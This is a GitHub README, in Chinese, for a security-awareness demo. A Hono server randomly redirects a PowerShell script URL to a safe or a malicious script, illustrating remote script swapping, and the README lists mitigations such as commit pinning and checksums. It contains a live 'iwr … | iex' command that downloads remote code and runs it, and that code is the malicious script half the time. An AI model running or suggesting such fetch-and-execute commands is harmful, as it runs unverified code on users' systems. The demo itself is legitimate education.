wuwatracker/remote-script-swap-demo

GitHub: wuwatracker/remote-script-swap-demo

一个演示远程脚本替换漏洞的安全教育项目,展示可变 URL 如何被攻击者利用来静默替换受信任的 PowerShell 脚本。

Stars: 0 | Forks: 0

# 远程脚本替换演示 此代码库演示了 Web 应用程序中的远程脚本替换漏洞,通过抛硬币的方式从两个不同的 URL 随机提供安全或恶意的 PowerShell 脚本。 此示例展示了攻击者如何在生产环境中利用可变 URL。 ## 目录 - [概述](#overview) - [演示](#demo) - [工作原理](#how-it-works) - [设置演示](#setting-up-the-demo) - [运行应用](#running-the-app) - [演示执行](#demo-execution) - [安全隐患](#security-implications) - [缓解措施](#mitigation) - [许可证](#license) ## 概述 在此演示中,一个简单的基于 Hono 的服务器从一个可变 URL 提供 PowerShell 脚本。根据随机抛硬币的结果,它会将用户重定向到以下 URL 之一: - 安全脚本 URL:执行无害日志文件读取的脚本(此脚本是安全的)。 - 恶意脚本 URL:理论上可以被替换为恶意脚本的脚本(此脚本演示了风险)。 该演示旨在提高人们对远程脚本替换漏洞的认识,即攻击者可以在用户不知情的情况下更改受信任 URL 的内容。 ## 演示 运行几次此命令,以获取安全或恶意脚本。服务器将进行 50/50 的抛硬币以决定提供哪个脚本。 ``` iwr https://remote-script-swap-demo.wuwatracker.workers.dev/import.ps1 | iex ``` 实际上,恶意行为者不会仅仅使用 50/50 的抛硬币来决定何时提供脚本以及提供何种类型的脚本。这可以是任意的,例如仅向特定用户、在特定时间或在特定条件下提供恶意脚本。 ## 工作原理 该应用程序使用 `Hono` Web 框架设置 HTTP 服务器。当用户访问 `/import.ps1` 端点时,抛硬币决定他们是重定向到安全还是恶意脚本 URL。 - 如果抛硬币结果是“正面”,用户将被重定向到安全的 PowerShell 脚本(`SAFE_SCRIPT_URL`)。 - 如果抛硬币结果是“反面”,用户将被重定向到恶意的 PowerShell 脚本(`MALICIOUS_SCRIPT_URL`)。 这两个脚本的 URL 均在环境变量中配置。 ### 代码片段 ``` import { Hono } from "hono"; import { CfBindings } from "./types"; const app = new Hono<{ Bindings: CfBindings }>(); function flipACoin() { return Math.random() < 0.5 ? "Heads" : "Tails"; } app.get("/import.ps1", (c) => { const coinflipResult = flipACoin(); if (coinflipResult === "Heads") { return c.redirect(c.env.SAFE_SCRIPT_URL); } else { return c.redirect(c.env.MALICIOUS_SCRIPT_URL); } }); export default app; ``` ## 设置演示 ### 前置条件 - Node.js (>=v24.0) ### 安装 1. 克隆此代码库: git clone https://github.com/wuwatracker/remote-script-swap-demo.git cd remote-script-swap-demo 2. 安装依赖项: pnpm install 3. 使用您的安全和恶意脚本的 URL 配置环境变量。 将以下内容添加到您的 `.env` 文件中(或在您的云服务中配置它们): SAFE_SCRIPT_URL=https://raw.githubusercontent.com/wuwatracker/remote-script-swap-demo/refs/heads/main/scripts/safe.ps1 MALICIOUS_SCRIPT_URL=https://raw.githubusercontent.com/wuwatracker/remote-script-swap-demo/refs/heads/main/scripts/malicious.ps1 ## 运行应用 您可以在本地运行该应用程序,或使用 Cloudflare Workers 或任何其他支持 Hono 框架的平台进行部署。 ### 本地运行 要在本地运行该应用程序: 1. 安装必要的本地服务器工具。 2. 运行应用程序: pnpm run dev 这将在 `http://localhost:8787` 上启动应用程序。访问 `http://localhost:8787/import.ps1` 将随机重定向到安全或恶意脚本。 ## 演示执行 当您访问 `/import.ps1` 端点时,应用程序将执行抛硬币函数并随机重定向到: 1. 执行读取日志文件等无害操作的安全脚本 URL(`SAFE_SCRIPT_URL`)。 2. 可能被攻击者替换从而导致恶意行为的恶意脚本 URL(`MALICIOUS_SCRIPT_URL`)。 ## 安全隐患 此演示强调了可变 URL 中的安全漏洞,攻击者可能在用户不知情的情况下替换脚本。 此类攻击的影响可能包括: - 数据窃取 - 权限提升 - 系统受损 - 未被检测到的恶意操作 当脚本从可变的、非不可变的 URL(例如,使用 GitHub 分支或其他未版本化的 URL)提供时,就会出现此漏洞。 ## 缓解措施 以下是一些避免远程脚本替换漏洞的最佳实践: 1. 将脚本 URL 固定到特定版本: 在 URL 中使用提交哈希以确保脚本是不可变的。 例如: https://raw.githubusercontent.com/user/repo//import.ps1 - `` 可能看起来像 `a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0`。 2. 校验和验证: 通过将下载文件的校验和与可信值进行比较来验证脚本的完整性。 3. 签名发布: 在执行之前使用签名发布来验证脚本的真实性。 4. 使用安全的脚本来源: 避免在可变 URL 上托管关键脚本。相反,请使用可信且安全的代码库来存放关键脚本。 ## 许可证 该项目依据 MIT 许可证授权。有关更多信息,请参阅 [LICENSE](LICENSE) 文件。
标签:AI合规, DAST, ESC8, Hono, Libemu, Libemu, MITM代理, OpenCanary, PowerShell安全, URL重定向, Web安全, 中间人攻击, 代码完整性, 内容安全策略, 动态代码执行, 命令与控制, 安全演示, 恶意软件分析, 数据展示, 社会工程学, 程序员工具, 红队, 网络信息收集, 网络安全意识, 脚本劫持, 蓝队分析, 规则仓库, 远程脚本攻击